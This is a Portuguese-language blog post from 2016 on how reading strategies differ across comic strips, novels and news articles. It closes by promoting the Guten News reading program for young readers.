LeituraO que aprendemos quando lemos?

20 de setembro de 2016

Você já reparou que lemos tirinhas interpretando as imagens, os sorrisos e caretas dos personagens? E que olhamos os balões com frases curtas e muitas vezes apenas com onomatopeias, do tipo Zummmm, Smack, Tóimmm… E entendemos tudo? E quando os balões só vêm com aquelas bolinhas, que nos fazem entender que é pensamento e não...

Você já reparou que lemos tirinhas interpretando as imagens, os sorrisos e caretas dos personagens? E que olhamos os balões com frases curtas e muitas vezes apenas com onomatopeias, do tipo Zummmm, Smack, Tóimmm… E entendemos tudo? E quando os balões só vêm com aquelas bolinhas, que nos fazem entender que é pensamento e não fala? Não é bacana?! É uma linguagem específica dos quadrinhos, que pode ser encontrada nos jornais, nas revistas, e em livros como o da Mafalda, por exemplo.

As estratégias de leitura descritas acima são próprias desse texto, e nos fazem identificar que nosso movimento de leitura deve unir a imagem ao que está escrito. Além disso, nos remete também a uma leitura mais deleitosa, de diversão, de poder dar risada!

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Você já reparou que lemos tirinhas interpretando as imagens, os sorrisos e caretas dos personagens? Créditos: Shutterstock

Mas e se a nossa vontade for ler um romance? Um livro que narra uma história de aventura e amor, que escolhemos por que adoramos o autor e o seu jeito de contar, de forma poética, os sentimentos dos personagens? Aí, dessa vez, acionamos novas estratégias de leitura.

Nessa situação, o movimento do olhar muda, o envolvimento com a história é mais duradouro e nossa expectativa em relação ao texto também  é modificada. A situação de produção é outra, assim como a intenção. Os autores escreveram pensando que aquela sua história iria para um livro e não para um jornal ou uma revista.

Isso tudo muda nossa relação com o que vamos encontrar. O texto nos contará a história, e as imagens, dessa vez, nós criaremos em nossas mentes! Quantas vezes já não lemos um livro, inventamos os rostos e cenários daquela narrativa e, em seguida, o cinema vem e lança o filme dessa sua história preferida e… Surpresa: os personagens e cenários são outros…! Muitas vezes adoramos e preferimos aquela versão do cineasta, mas outras vezes pensamos: meu herói era mais valente e bonito! Esse é o encanto dos romances contados em livros!

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Shutterstock

E a notícia?

Você já pensou que ao lermos uma notícia no jornal, despertamos um senso crítico para o fato lido e, naturalmente, vamos emitindo opinião sobre o que lemos? Tentamos compreender como aquela notícia nos afeta, percebemos um jornalista que relata suas descobertas, sua reportagem, e apresenta o fruto de uma entrevista interessante que ele fez, por exemplo.

O foco desse autor é informar o leitor sobre o que acontece na cidade, no país, no mundo… Nossa relação e nossa intenção ao pegar o jornal ou a revista, e ler as notícias da semana, é outra, diferente do desejo que nos move para o romance. É o desejo de estar “por dentro”, de estar antenado, de ter um repertório maior de informação.

Todos os textos têm alguma coisa em comum: um discurso.

Com isso, mobilizamos outros caminhos de leitura, olhamos a manchete, selecionamos o caderno (Cultura, Esporte, Cotidiano), o tema, buscamos os textos do nosso jornalista preferido… Enfim, enquanto olhamos gráficos, box, legendas, imagens e nossos olhos se movem entre essas informações, vamos prevendo o que encontrar em cada notícia!

Esses movimentos é que nos levam a compreender que todos os textos têm alguma coisa em comum: um discurso! Para analisar cada discurso, é importante levar em conta que cada um foi escrito em uma determinada época, em um determinado lugar, por um determinado autor! E ainda por cima, para ser publicado em lugares diferentes, com intencionalidades distintas também.

Saber ler é saber ler diferentes discursos, em textos diversos

Temos que nos apropriar de todas essas circunstâncias de produção que geram diferentes vozes para cada texto. E é isso que os une. Saber ler é saber ler diferentes discursos, em textos diversos.

E é dessa forma, que o Guten News apresenta a notícia para o nosso jovem leitor. A notícia é lida e curtida, pelo tema trazido e pelo discurso que a embala. Levamos o leitor a relacionar-se com o texto, por meio de jogos que o levam a pensar: “quem escreveu essa notícia?”, “em que momento da nossa história?”, “para quem ele escreveu?” e “para que ele usou essa expressão?”.

Além disso, a notícia instiga o leitor a pensar sobre o fato trazido e que relações podem ser estabelecidas entre todos os seus conhecimentos prévios e o que ele vai encontrar de novidade na notícia! Movemos sempre habilidades diferentes para cada texto, na busca do que os une: um discurso e uma história!

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